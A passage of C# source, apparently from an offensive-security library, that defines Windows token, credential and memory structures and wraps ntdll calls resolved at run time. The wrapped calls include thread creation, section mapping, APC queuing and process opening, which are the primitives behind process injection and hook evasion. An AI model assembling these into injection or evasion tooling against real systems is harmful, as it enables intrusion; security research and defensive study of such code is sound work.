2124 | { 2125 | SERVICE_ERROR_IGNORE = 0x00000000, 2126 | SERVICE_ERROR_NORMAL = 0x00000001, 2127 | SERVICE_ERROR_SEVERE = 0x00000002, 2128 | SERVICE_ERROR_CRITICAL = 0x00000003, 2129 | } 2130 | } 2131 | 2132 | public static class Dbghelp 2133 | { 2134 | public enum MINIDUMP_TYPE 2135 | { 2136 | MiniDumpNormal = 0x00000000, 2137 | MiniDumpWithDataSegs = 0x00000001, 2138 | MiniDumpWithFullMemory = 0x00000002, 2139 | MiniDumpWithHandleData = 0x00000004, 2140 | MiniDumpFilterMemory = 0x00000008, 2141 | MiniDumpScanMemory = 0x00000010, 2142 | MiniDumpWithUnloadedModules = 0x00000020, 2143 | MiniDumpWithIndirectlyReferencedMemory = 0x00000040, 2144 | MiniDumpFilterModulePaths = 0x00000080, 2145 | MiniDumpWithProcessThreadData = 0x00000100, 2146 | MiniDumpWithPrivateReadWriteMemory = 0x00000200, 2147 | MiniDumpWithoutOptionalData = 0x00000400, 2148 | MiniDumpWithFullMemoryInfo = 0x00000800, 2149 | MiniDumpWithThreadInfo = 0x00001000, 2150 | MiniDumpWithCodeSegs = 0x00002000, 2151 | MiniDumpWithoutAuxiliaryState = 0x00004000, 2152 | MiniDumpWithFullAuxiliaryState = 0x00008000, 2153 | MiniDumpWithPrivateWriteCopyMemory = 0x00010000, 2154 | MiniDumpIgnoreInaccessibleMemory = 0x00020000, 2155 | MiniDumpWithTokenInformation = 0x00040000, 2156 | MiniDumpWithModuleHeaders = 0x00080000, 2157 | MiniDumpFilterTriage = 0x00100000, 2158 | MiniDumpValidTypeFlags = 0x001fffff 2159 | } 2160 | } 2161 | 2162 | public class WinBase 2163 | { 2164 | [StructLayout(LayoutKind.Sequential)] 2165 | public struct _SYSTEM_INFO 2166 | { 2167 | public UInt16 wProcessorArchitecture; 2168 | public UInt16 wReserved; 2169 | public UInt32 dwPageSize; 2170 | public IntPtr lpMinimumApplicationAddress; 2171 | public IntPtr lpMaximumApplicationAddress; 2172 | public IntPtr dwActiveProcessorMask; 2173 | public UInt32 dwNumberOfProcessors; 2174 | public UInt32 dwProcessorType; 2175 | public UInt32 dwAllocationGranularity; 2176 | public UInt16 wProcessorLevel; 2177 | public UInt16 wProcessorRevision; 2178 | } 2179 | 2180 | [StructLayout(LayoutKind.Sequential)] 2181 | public struct _SECURITY_ATTRIBUTES 2182 | { 2183 | UInt32 nLength; 2184 | IntPtr lpSecurityDescriptor; 2185 | Boolean bInheritHandle; 2186 | }; 2187 | } 2188 | 2189 | public class WinNT 2190 | { 2191 | public const UInt32 PAGE_NOACCESS = 0x01; 2192 | public const UInt32 PAGE_READONLY = 0x02; 2193 | public const UInt32 PAGE_READWRITE = 0x04; 2194 | public const UInt32 PAGE_WRITECOPY = 0x08; 2195 | public const UInt32 PAGE_EXECUTE = 0x10; 2196 | public const UInt32 PAGE_EXECUTE_READ = 0x20; 2197 | public const UInt32 PAGE_EXECUTE_READWRITE = 0x40; 2198 | public const UInt32 PAGE_EXECUTE_WRITECOPY = 0x80; 2199 | public const UInt32 PAGE_GUARD = 0x100; 2200 | public const UInt32 PAGE_NOCACHE = 0x200; 2201 | public const UInt32 PAGE_WRITECOMBINE = 0x400; 2202 | public const UInt32 PAGE_TARGETS_INVALID = 0x40000000; 2203 | public const UInt32 PAGE_TARGETS_NO_UPDATE = 0x40000000; 2204 | 2205 | public const UInt32 SEC_COMMIT = 0x08000000; 2206 | public const UInt32 SEC_IMAGE = 0x1000000; 2207 | public const UInt32 SEC_IMAGE_NO_EXECUTE = 0x11000000; 2208 | public const UInt32 SEC_LARGE_PAGES = 0x80000000; 2209 | public const UInt32 SEC_NOCACHE = 0x10000000; 2210 | public const UInt32 SEC_RESERVE = 0x4000000; 2211 | public const UInt32 SEC_WRITECOMBINE = 0x40000000; 2212 | 2213 | public const UInt32 SE_PRIVILEGE_ENABLED = 0x2; 2214 | public const UInt32 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1; 2215 | public const UInt32 SE_PRIVILEGE_REMOVED = 0x4; 2216 | public const UInt32 SE_PRIVILEGE_USED_FOR_ACCESS = 0x3; 2217 | 2218 | public const UInt64 SE_GROUP_ENABLED = 0x00000004L; 2219 | public const UInt64 SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002L; 2220 | public const UInt64 SE_GROUP_INTEGRITY = 0x00000020L; 2221 | public const UInt32 SE_GROUP_INTEGRITY_32 = 0x00000020; 2222 | public const UInt64 SE_GROUP_INTEGRITY_ENABLED = 0x00000040L; 2223 | public const UInt64 SE_GROUP_LOGON_ID = 0xC0000000L; 2224 | public const UInt64 SE_GROUP_MANDATORY = 0x00000001L; 2225 | public const UInt64 SE_GROUP_OWNER = 0x00000008L; 2226 | public const UInt64 SE_GROUP_RESOURCE = 0x20000000L; 2227 | public const UInt64 SE_GROUP_USE_FOR_DENY_ONLY = 0x00000010L; 2228 | 2229 | public enum _SECURITY_IMPERSONATION_LEVEL 2230 | { 2231 | SecurityAnonymous, 2232 | SecurityIdentification, 2233 | SecurityImpersonation, 2234 | SecurityDelegation 2235 | } 2236 | 2237 | public enum TOKEN_TYPE 2238 | { 2239 | TokenPrimary = 1, 2240 | TokenImpersonation 2241 | } 2242 | 2243 | public enum _TOKEN_ELEVATION_TYPE 2244 | { 2245 | TokenElevationTypeDefault = 1, 2246 | TokenElevationTypeFull, 2247 | TokenElevationTypeLimited 2248 | } 2249 | 2250 | [StructLayout(LayoutKind.Sequential)] 2251 | public struct _MEMORY_BASIC_INFORMATION32 2252 | { 2253 | public UInt32 BaseAddress; 2254 | public UInt32 AllocationBase; 2255 | public UInt32 AllocationProtect; 2256 | public UInt32 RegionSize; 2257 | public UInt32 State; 2258 | public UInt32 Protect; 2259 | public UInt32 Type; 2260 | } 2261 | 2262 | [StructLayout(LayoutKind.Sequential)] 2263 | public struct _MEMORY_BASIC_INFORMATION64 2264 | { 2265 | public UInt64 BaseAddress; 2266 | public UInt64 AllocationBase; 2267 | public UInt32 AllocationProtect; 2268 | public UInt32 __alignment1; 2269 | public UInt64 RegionSize; 2270 | public UInt32 State; 2271 | public UInt32 Protect; 2272 | public UInt32 Type; 2273 | public UInt32 __alignment2; 2274 | } 2275 | 2276 | [StructLayout(LayoutKind.Sequential)] 2277 | public struct _LUID_AND_ATTRIBUTES 2278 | { 2279 | public _LUID Luid; 2280 | public UInt32 Attributes; 2281 | } 2282 | 2283 | [StructLayout(LayoutKind.Sequential)] 2284 | public struct _LUID 2285 | { 2286 | public UInt32 LowPart; 2287 | public UInt32 HighPart; 2288 | } 2289 | 2290 | [StructLayout(LayoutKind.Sequential)] 2291 | public struct _TOKEN_STATISTICS 2292 | { 2293 | public _LUID TokenId; 2294 | public _LUID AuthenticationId; 2295 | public UInt64 ExpirationTime; 2296 | public TOKEN_TYPE TokenType; 2297 | public _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; 2298 | public UInt32 DynamicCharged; 2299 | public UInt32 DynamicAvailable; 2300 | public UInt32 GroupCount; 2301 | public UInt32 PrivilegeCount; 2302 | public _LUID ModifiedId; 2303 | } 2304 | 2305 | [StructLayout(LayoutKind.Sequential)] 2306 | public struct _TOKEN_PRIVILEGES 2307 | { 2308 | public UInt32 PrivilegeCount; 2309 | public _LUID_AND_ATTRIBUTES Privileges; 2310 | } 2311 | 2312 | [StructLayout(LayoutKind.Sequential)] 2313 | public struct _TOKEN_MANDATORY_LABEL 2314 | { 2315 | public _SID_AND_ATTRIBUTES Label; 2316 | } 2317 | 2318 | public struct _SID 2319 | { 2320 | public byte Revision; 2321 | public byte SubAuthorityCount; 2322 | public WinNT._SID_IDENTIFIER_AUTHORITY IdentifierAuthority; 2323 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] 2324 | public ulong[] SubAuthority; 2325 | } 2326 | 2327 | [StructLayout(LayoutKind.Sequential)] 2328 | public struct _SID_IDENTIFIER_AUTHORITY 2329 | { 2330 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6, ArraySubType = UnmanagedType.I1)] 2331 | public byte[] Value; 2332 | } 2333 | 2334 | [StructLayout(LayoutKind.Sequential)] 2335 | public struct _SID_AND_ATTRIBUTES 2336 | { 2337 | public IntPtr Sid; 2338 | public UInt32 Attributes; 2339 | } 2340 | 2341 | [StructLayout(LayoutKind.Sequential)] 2342 | public struct _PRIVILEGE_SET 2343 | { 2344 | public UInt32 PrivilegeCount; 2345 | public UInt32 Control; 2346 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] 2347 | public _LUID_AND_ATTRIBUTES[] Privilege; 2348 | } 2349 | 2350 | [StructLayout(LayoutKind.Sequential)] 2351 | public struct _TOKEN_USER 2352 | { 2353 | public _SID_AND_ATTRIBUTES User; 2354 | } 2355 | 2356 | public enum _SID_NAME_USE 2357 | { 2358 | SidTypeUser = 1, 2359 | SidTypeGroup, 2360 | SidTypeDomain, 2361 | SidTypeAlias, 2362 | SidTypeWellKnownGroup, 2363 | SidTypeDeletedAccount, 2364 | SidTypeInvalid, 2365 | SidTypeUnknown, 2366 | SidTypeComputer, 2367 | SidTypeLabel 2368 | } 2369 | 2370 | public enum _TOKEN_INFORMATION_CLASS 2371 | { 2372 | TokenUser = 1, 2373 | TokenGroups, 2374 | TokenPrivileges, 2375 | TokenOwner, 2376 | TokenPrimaryGroup, 2377 | TokenDefaultDacl, 2378 | TokenSource, 2379 | TokenType, 2380 | TokenImpersonationLevel, 2381 | TokenStatistics, 2382 | TokenRestrictedSids, 2383 | TokenSessionId, 2384 | TokenGroupsAndPrivileges, 2385 | TokenSessionReference, 2386 | TokenSandBoxInert, 2387 | TokenAuditPolicy, 2388 | TokenOrigin, 2389 | TokenElevationType, 2390 | TokenLinkedToken, 2391 | TokenElevation, 2392 | TokenHasRestrictions, 2393 | TokenAccessInformation, 2394 | TokenVirtualizationAllowed, 2395 | TokenVirtualizationEnabled, 2396 | TokenIntegrityLevel, 2397 | TokenUIAccess, 2398 | TokenMandatoryPolicy, 2399 | TokenLogonSid, 2400 | TokenIsAppContainer, 2401 | TokenCapabilities, 2402 | TokenAppContainerSid, 2403 | TokenAppContainerNumber, 2404 | TokenUserClaimAttributes, 2405 | TokenDeviceClaimAttributes, 2406 | TokenRestrictedUserClaimAttributes, 2407 | TokenRestrictedDeviceClaimAttributes, 2408 | TokenDeviceGroups, 2409 | TokenRestrictedDeviceGroups, 2410 | TokenSecurityAttributes, 2411 | TokenIsRestricted, 2412 | MaxTokenInfoClass 2413 | } 2414 | 2415 | // http://www.pinvoke.net/default.aspx/Enums.ACCESS_MASK 2416 | [Flags] 2417 | public enum ACCESS_MASK : uint 2418 | { 2419 | DELETE = 0x00010000, 2420 | READ_CONTROL = 0x00020000, 2421 | WRITE_DAC = 0x00040000, 2422 | WRITE_OWNER = 0x00080000, 2423 | SYNCHRONIZE = 0x00100000, 2424 | STANDARD_RIGHTS_REQUIRED = 0x000F0000, 2425 | STANDARD_RIGHTS_READ = 0x00020000, 2426 | STANDARD_RIGHTS_WRITE = 0x00020000, 2427 | STANDARD_RIGHTS_EXECUTE = 0x00020000, 2428 | STANDARD_RIGHTS_ALL = 0x001F0000, 2429 | SPECIFIC_RIGHTS_ALL = 0x0000FFF, 2430 | ACCESS_SYSTEM_SECURITY = 0x01000000, 2431 | MAXIMUM_ALLOWED = 0x02000000, 2432 | GENERIC_READ = 0x80000000, 2433 | GENERIC_WRITE = 0x40000000, 2434 | GENERIC_EXECUTE = 0x20000000, 2435 | GENERIC_ALL = 0x10000000, 2436 | DESKTOP_READOBJECTS = 0x00000001, 2437 | DESKTOP_CREATEWINDOW = 0x00000002, 2438 | DESKTOP_CREATEMENU = 0x00000004, 2439 | DESKTOP_HOOKCONTROL = 0x00000008, 2440 | DESKTOP_JOURNALRECORD = 0x00000010, 2441 | DESKTOP_JOURNALPLAYBACK = 0x00000020, 2442 | DESKTOP_ENUMERATE = 0x00000040, 2443 | DESKTOP_WRITEOBJECTS = 0x00000080, 2444 | DESKTOP_SWITCHDESKTOP = 0x00000100, 2445 | WINSTA_ENUMDESKTOPS = 0x00000001, 2446 | WINSTA_READATTRIBUTES = 0x00000002, 2447 | WINSTA_ACCESSCLIPBOARD = 0x00000004, 2448 | WINSTA_CREATEDESKTOP = 0x00000008, 2449 | WINSTA_WRITEATTRIBUTES = 0x00000010, 2450 | WINSTA_ACCESSGLOBALATOMS = 0x00000020, 2451 | WINSTA_EXITWINDOWS = 0x00000040, 2452 | WINSTA_ENUMERATE = 0x00000100, 2453 | WINSTA_READSCREEN = 0x00000200, 2454 | WINSTA_ALL_ACCESS = 0x0000037F, 2455 | 2456 | SECTION_ALL_ACCESS = 0x10000000, 2457 | SECTION_QUERY = 0x0001, 2458 | SECTION_MAP_WRITE = 0x0002, 2459 | SECTION_MAP_READ = 0x0004, 2460 | SECTION_MAP_EXECUTE = 0x0008, 2461 | SECTION_EXTEND_SIZE = 0x0010 2462 | }; 2463 | } 2464 | 2465 | public class ProcessThreadsAPI 2466 | { 2467 | [Flags] 2468 | internal enum STARTF : uint 2469 | { 2470 | STARTF_USESHOWWINDOW = 0x00000001, 2471 | STARTF_USESIZE = 0x00000002, 2472 | STARTF_USEPOSITION = 0x00000004, 2473 | STARTF_USECOUNTCHARS = 0x00000008, 2474 | STARTF_USEFILLATTRIBUTE = 0x00000010, 2475 | STARTF_RUNFULLSCREEN = 0x00000020, 2476 | STARTF_FORCEONFEEDBACK = 0x00000040, 2477 | STARTF_FORCEOFFFEEDBACK = 0x00000080, 2478 | STARTF_USESTDHANDLES = 0x00000100, 2479 | } 2480 | 2481 | // https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx 2482 | [StructLayout(LayoutKind.Sequential)] 2483 | public struct _STARTUPINFO 2484 | { 2485 | public UInt32 cb; 2486 | public String lpReserved; 2487 | public String lpDesktop; 2488 | public String lpTitle; 2489 | public UInt32 dwX; 2490 | public UInt32 dwY; 2491 | public UInt32 dwXSize; 2492 | public UInt32 dwYSize; 2493 | public UInt32 dwXCountChars; 2494 | public UInt32 dwYCountChars; 2495 | public UInt32 dwFillAttribute; 2496 | public UInt32 dwFlags; 2497 | public UInt16 wShowWindow; 2498 | public UInt16 cbReserved2; 2499 | public IntPtr lpReserved2; 2500 | public IntPtr hStdInput; 2501 | public IntPtr hStdOutput; 2502 | public IntPtr hStdError; 2503 | }; 2504 | 2505 | //https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx 2506 | [StructLayout(LayoutKind.Sequential)] 2507 | public struct _STARTUPINFOEX 2508 | { 2509 | _STARTUPINFO StartupInfo; 2510 | // PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; 2511 | }; 2512 | 2513 | //https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx 2514 | [StructLayout(LayoutKind.Sequential)] 2515 | public struct _PROCESS_INFORMATION 2516 | { 2517 | public IntPtr hProcess; 2518 | public IntPtr hThread; 2519 | public UInt32 dwProcessId; 2520 | public UInt32 dwThreadId; 2521 | }; 2522 | } 2523 | 2524 | public class WinCred 2525 | { 2526 | #pragma warning disable 0618 2527 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 2528 | public struct _CREDENTIAL 2529 | { 2530 | public CRED_FLAGS Flags; 2531 | public UInt32 Type; 2532 | public IntPtr TargetName; 2533 | public IntPtr Comment; 2534 | public FILETIME LastWritten; 2535 | public UInt32 CredentialBlobSize; 2536 | public UInt32 Persist; 2537 | public UInt32 AttributeCount; 2538 | public IntPtr Attributes; 2539 | public IntPtr TargetAlias; 2540 | public IntPtr UserName; 2541 | } 2542 | #pragma warning restore 0618 2543 | 2544 | public enum CRED_FLAGS : uint 2545 | { 2546 | NONE = 0x0, 2547 | PROMPT_NOW = 0x2, 2548 | USERNAME_TARGET = 0x4 2549 | } 2550 | 2551 | public enum CRED_PERSIST : uint 2552 | { 2553 | Session = 1, 2554 | LocalMachine, 2555 | Enterprise 2556 | } 2557 | 2558 | public enum CRED_TYPE : uint 2559 | { 2560 | Generic = 1, 2561 | DomainPassword, 2562 | DomainCertificate, 2563 | DomainVisiblePassword, 2564 | GenericCertificate, 2565 | DomainExtended, 2566 | Maximum, 2567 | MaximumEx = Maximum + 1000, 2568 | } 2569 | } 2570 | 2571 | public class Secur32 2572 | { 2573 | public struct _SECURITY_LOGON_SESSION_DATA 2574 | { 2575 | public UInt32 Size; 2576 | public WinNT._LUID LoginID; 2577 | public _LSA_UNICODE_STRING Username; 2578 | public _LSA_UNICODE_STRING LoginDomain; 2579 | public _LSA_UNICODE_STRING AuthenticationPackage; 2580 | public UInt32 LogonType; 2581 | public UInt32 Session; 2582 | public IntPtr pSid; 2583 | public UInt64 LoginTime; 2584 | public _LSA_UNICODE_STRING LogonServer; 2585 | public _LSA_UNICODE_STRING DnsDomainName; 2586 | public _LSA_UNICODE_STRING Upn; 2587 | } 2588 | 2589 | [StructLayout(LayoutKind.Sequential)] 2590 | public struct _LSA_UNICODE_STRING 2591 | { 2592 | public UInt16 Length; 2593 | public UInt16 MaximumLength; 2594 | public IntPtr Buffer; 2595 | } 2596 | } 2597 | } 2598 | 2599 | 2600 | public class DynamicNative 2601 | { 2602 | public static Native.NTSTATUS NtCreateThreadEx( 2603 | ref IntPtr threadHandle, 2604 | Win32.WinNT.ACCESS_MASK desiredAccess, 2605 | IntPtr objectAttributes, 2606 | IntPtr processHandle, 2607 | IntPtr startAddress, 2608 | IntPtr parameter, 2609 | bool createSuspended, 2610 | int stackZeroBits, 2611 | int sizeOfStack, 2612 | int maximumStackSize, 2613 | IntPtr attributeList) 2614 | { 2615 | // Craft an array for the arguments 2616 | object[] funcargs = 2617 | { 2618 | threadHandle, desiredAccess, objectAttributes, processHandle, startAddress, parameter, createSuspended, stackZeroBits, 2619 | sizeOfStack, maximumStackSize, attributeList 2620 | }; 2621 | 2622 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateThreadEx", 2623 | typeof(DELEGATES.NtCreateThreadEx), ref funcargs); 2624 | 2625 | // Update the modified variables 2626 | threadHandle = (IntPtr)funcargs[0]; 2627 | 2628 | return retValue; 2629 | } 2630 | 2631 | public static Native.NTSTATUS RtlCreateUserThread( 2632 | IntPtr Process, 2633 | IntPtr ThreadSecurityDescriptor, 2634 | bool CreateSuspended, 2635 | IntPtr ZeroBits, 2636 | IntPtr MaximumStackSize, 2637 | IntPtr CommittedStackSize, 2638 | IntPtr StartAddress, 2639 | IntPtr Parameter, 2640 | ref IntPtr Thread, 2641 | IntPtr ClientId) 2642 | { 2643 | // Craft an array for the arguments 2644 | object[] funcargs = 2645 | { 2646 | Process, ThreadSecurityDescriptor, CreateSuspended, ZeroBits, 2647 | MaximumStackSize, CommittedStackSize, StartAddress, Parameter, 2648 | Thread, ClientId 2649 | }; 2650 | 2651 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"RtlCreateUserThread", 2652 | typeof(DELEGATES.RtlCreateUserThread), ref funcargs); 2653 | 2654 | // Update the modified variables 2655 | Thread = (IntPtr)funcargs[8]; 2656 | 2657 | return retValue; 2658 | } 2659 | 2660 | public static Native.NTSTATUS NtCreateSection( 2661 | ref IntPtr SectionHandle, 2662 | uint DesiredAccess, 2663 | IntPtr ObjectAttributes, 2664 | ref ulong MaximumSize, 2665 | uint SectionPageProtection, 2666 | uint AllocationAttributes, 2667 | IntPtr FileHandle) 2668 | { 2669 | 2670 | // Craft an array for the arguments 2671 | object[] funcargs = 2672 | { 2673 | SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, SectionPageProtection, AllocationAttributes, FileHandle 2674 | }; 2675 | 2676 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateSection", typeof(DELEGATES.NtCreateSection), ref funcargs); 2677 | if (retValue != Native.NTSTATUS.Success) 2678 | { 2679 | throw new InvalidOperationException("Unable to create section, " + retValue); 2680 | } 2681 | 2682 | // Update the modified variables 2683 | SectionHandle = (IntPtr)funcargs[0]; 2684 | MaximumSize = (ulong)funcargs[3]; 2685 | 2686 | return retValue; 2687 | } 2688 | 2689 | public static Native.NTSTATUS NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr) 2690 | { 2691 | // Craft an array for the arguments 2692 | object[] funcargs = 2693 | { 2694 | hProc, baseAddr 2695 | }; 2696 | 2697 | Native.NTSTATUS result = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtUnmapViewOfSection", 2698 | typeof(DELEGATES.NtUnmapViewOfSection), ref funcargs); 2699 | 2700 | return result; 2701 | } 2702 | 2703 | public static Native.NTSTATUS NtMapViewOfSection( 2704 | IntPtr SectionHandle, 2705 | IntPtr ProcessHandle, 2706 | ref IntPtr BaseAddress, 2707 | IntPtr ZeroBits, 2708 | IntPtr CommitSize, 2709 | IntPtr SectionOffset, 2710 | ref ulong ViewSize, 2711 | uint InheritDisposition, 2712 | uint AllocationType, 2713 | uint Win32Protect) 2714 | { 2715 | 2716 | // Craft an array for the arguments 2717 | object[] funcargs = 2718 | { 2719 | SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType, 2720 | Win32Protect 2721 | }; 2722 | 2723 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtMapViewOfSection", typeof(DELEGATES.NtMapViewOfSection), ref funcargs); 2724 | if (retValue != Native.NTSTATUS.Success && retValue != Native.NTSTATUS.ImageNotAtBase) 2725 | { 2726 | throw new InvalidOperationException("Unable to map view of section, " + retValue); 2727 | } 2728 | 2729 | // Update the modified variables. 2730 | BaseAddress = (IntPtr)funcargs[2]; 2731 | ViewSize = (ulong)funcargs[6]; 2732 | 2733 | return retValue; 2734 | } 2735 | 2736 | public static void RtlInitUnicodeString(ref Native.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString) 2737 | { 2738 | // Craft an array for the arguments 2739 | object[] funcargs = 2740 | { 2741 | DestinationString, SourceString 2742 | }; 2743 | 2744 | DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs); 2745 | 2746 | // Update the modified variables 2747 | DestinationString = (Native.UNICODE_STRING)funcargs[0]; 2748 | } 2749 | 2750 | public static Native.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Native.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle) 2751 | { 2752 | // Craft an array for the arguments 2753 | object[] funcargs = 2754 | { 2755 | PathToFile, dwFlags, ModuleFileName, ModuleHandle 2756 | }; 2757 | 2758 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.LdrLoadDll), ref funcargs); 2759 | 2760 | // Update the modified variables 2761 | ModuleHandle = (IntPtr)funcargs[3]; 2762 | 2763 | return retValue; 2764 | } 2765 | 2766 | public static void RtlZeroMemory(IntPtr Destination, int Length) 2767 | { 2768 | // Craft an array for the arguments 2769 | object[] funcargs = 2770 | { 2771 | Destination, Length 2772 | }; 2773 | 2774 | DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"RtlZeroMemory", typeof(DELEGATES.RtlZeroMemory), ref funcargs); 2775 | } 2776 | 2777 | public static Native.NTSTATUS NtQueryInformationProcess(IntPtr hProcess, Native.PROCESSINFOCLASS processInfoClass, out IntPtr pProcInfo) 2778 | { 2779 | int processInformationLength; 2780 | UInt32 RetLen = 0; 2781 | 2782 | switch (processInfoClass) 2783 | { 2784 | case Native.PROCESSINFOCLASS.ProcessWow64Information: 2785 | pProcInfo = Marshal.AllocHGlobal(IntPtr.Size); 2786 | RtlZeroMemory(pProcInfo, IntPtr.Size); 2787 | processInformationLength = IntPtr.Size; 2788 | break; 2789 | case Native.PROCESSINFOCLASS.ProcessBasicInformation: 2790 | Native.PROCESS_BASIC_INFORMATION PBI = new Native.PROCESS_BASIC_INFORMATION(); 2791 | pProcInfo = Marshal.AllocHGlobal(Marshal.SizeOf(PBI)); 2792 | RtlZeroMemory(pProcInfo, Marshal.SizeOf(PBI)); 2793 | Marshal.StructureToPtr(PBI, pProcInfo, true); 2794 | processInformationLength = Marshal.SizeOf(PBI); 2795 | break; 2796 | default: 2797 | throw new InvalidOperationException($"Invalid ProcessInfoClass: {processInfoClass}"); 2798 | } 2799 | 2800 | object[] funcargs = 2801 | { 2802 | hProcess, processInfoClass, pProcInfo, processInformationLength, RetLen 2803 | }; 2804 | 2805 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryInformationProcess", typeof(DELEGATES.NtQueryInformationProcess), ref funcargs); 2806 | if (retValue != Native.NTSTATUS.Success) 2807 | { 2808 | throw new UnauthorizedAccessException("Access is denied."); 2809 | } 2810 | 2811 | // Update the modified variables 2812 | pProcInfo = (IntPtr)funcargs[2]; 2813 | 2814 | return retValue; 2815 | } 2816 | 2817 | public static bool NtQueryInformationProcessWow64Information(IntPtr hProcess) 2818 | { 2819 | Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Native.PROCESSINFOCLASS.ProcessWow64Information, out IntPtr pProcInfo); 2820 | if (retValue != Native.NTSTATUS.Success) 2821 | { 2822 | throw new UnauthorizedAccessException("Access is denied."); 2823 | } 2824 | 2825 | if (Marshal.ReadIntPtr(pProcInfo) == IntPtr.Zero) 2826 | { 2827 | return false; 2828 | } 2829 | return true; 2830 | } 2831 | 2832 | public static Native.PROCESS_BASIC_INFORMATION NtQueryInformationProcessBasicInformation(IntPtr hProcess) 2833 | { 2834 | Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Native.PROCESSINFOCLASS.ProcessBasicInformation, out IntPtr pProcInfo); 2835 | if (retValue != Native.NTSTATUS.Success) 2836 | { 2837 | throw new UnauthorizedAccessException("Access is denied."); 2838 | } 2839 | 2840 | return (Native.PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(pProcInfo, typeof(Native.PROCESS_BASIC_INFORMATION)); 2841 | } 2842 | 2843 | public static IntPtr NtOpenProcess(UInt32 ProcessId, Win32.Kernel32.ProcessAccessFlags DesiredAccess) 2844 | { 2845 | // Create OBJECT_ATTRIBUTES & CLIENT_ID ref's 2846 | IntPtr ProcessHandle = IntPtr.Zero; 2847 | Native.OBJECT_ATTRIBUTES oa = new Native.OBJECT_ATTRIBUTES(); 2848 | Native.CLIENT_ID ci = new Native.CLIENT_ID(); 2849 | ci.UniqueProcess = (IntPtr)ProcessId; 2850 | 2851 | // Craft an array for the arguments 2852 | object[] funcargs = 2853 | { 2854 | ProcessHandle, DesiredAccess, oa, ci 2855 | }; 2856 | 2857 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenProcess", typeof(DELEGATES.NtOpenProcess), ref funcargs); 2858 | if (retValue != Native.NTSTATUS.Success && retValue == Native.NTSTATUS.InvalidCid) 2859 | { 2860 | throw new InvalidOperationException("An invalid client ID was specified."); 2861 | } 2862 | if (retValue != Native.NTSTATUS.Success) 2863 | { 2864 | throw new UnauthorizedAccessException("Access is denied."); 2865 | } 2866 | 2867 | // Update the modified variables 2868 | ProcessHandle = (IntPtr)funcargs[0]; 2869 | 2870 | return ProcessHandle; 2871 | } 2872 | 2873 | public static void NtQueueApcThread(IntPtr ThreadHandle, IntPtr ApcRoutine, IntPtr ApcArgument1, IntPtr ApcArgument2, IntPtr ApcArgument3) 2874 | { 2875 | // Craft an array for the arguments 2876 | object[] funcargs = 2877 | { 2878 | ThreadHandle, ApcRoutine, ApcArgument1, ApcArgument2, ApcArgument3 2879 | }; 2880 | 2881 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtQueueApcThread", typeof(DELEGATES.NtQueueApcThread), ref funcargs); 2882 | if (retValue != Native.NTSTATUS.Success) 2883 | { 2884 | throw new InvalidOperationException("Unable to queue APC, " + retValue); 2885 | } 2886 | } 2887 | 2888 | public static IntPtr NtOpenThread(int TID, Win32.Kernel32.ThreadAccess DesiredAccess) 2889 | { 2890 | // Create OBJECT_ATTRIBUTES & CLIENT_ID ref's 2891 | IntPtr ThreadHandle = IntPtr.Zero; 2892 | Native.OBJECT_ATTRIBUTES oa = new Native.OBJECT_ATTRIBUTES(); 2893 | Native.CLIENT_ID ci = new Native.CLIENT_ID(); 2894 | ci.UniqueThread = (IntPtr)TID; 2895 | 2896 | // Craft an array for the arguments 2897 | object[] funcargs = 2898 | { 2899 | ThreadHandle, DesiredAccess, oa, ci 2900 | }; 2901 | 2902 | Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicGeneric.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenThread", typeof(DELEGATES.NtOpenProcess), ref funcargs); 2903 | if (retValue != Native.NTSTATUS.Success && retValue == Native.NTSTATUS.InvalidCid) 2904 | { 2905 | throw new InvalidOperationException("An invalid client ID was specified."); 2906 | } 2907 | if (retValue != Native.NTSTATUS.Success) 2908 | { 2909 | throw new UnauthorizedAccessException("Access is denied."); 2910 | } 2911 | 2912 | // Update the modified variables 2913 | ThreadHandle = (IntPtr)funcargs[0]; 2914 | 2915 | return ThreadHandle; 2916 | } 2917 | 2918 | public static 